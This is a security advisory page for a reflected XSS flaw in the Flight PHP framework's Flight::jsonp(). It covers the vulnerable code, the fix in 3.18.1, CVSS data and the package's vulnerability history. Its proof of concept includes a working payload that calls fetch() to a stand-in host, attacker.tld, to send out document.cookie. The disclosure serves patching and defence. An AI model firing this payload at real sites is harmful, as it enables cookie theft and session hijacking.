Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp()
Summary
Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.
Affected code
flight/Engine.php (≈ lines 1000-1013):
$callback = $this->request()->query[$param];
$this->response()
->status($code)
->header('Content-Type', 'application/javascript; charset=' . $charset)
->write($callback . '(' . $json . ');');
No regex or identifier validation is performed before the callback is written.
Proof of concept
Given any route that calls Flight::jsonp($data):
GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//
Reproduced response (Content-Type: application/javascript):
;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});
When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.
Impact
- Reflected XSS in any application calling
Flight::jsonp(). - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
- Exfiltration of authenticated API responses.
Patch (fixed in 3.18.1, commit b8dd23a)
_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.
Credit
Discovered by @Rootingg.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | flightphp/core | < 3.18.1 | 3.18.1 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
flightphp/core- Disclosed
- 06.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-fcx8-ph5r-mxr4 - CC BY 4.0
Vulnerability history: flightphp/core
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 05.2026 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 4
- Medium 1
Disclosures per year
- 2026: 5
-
Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() this entry
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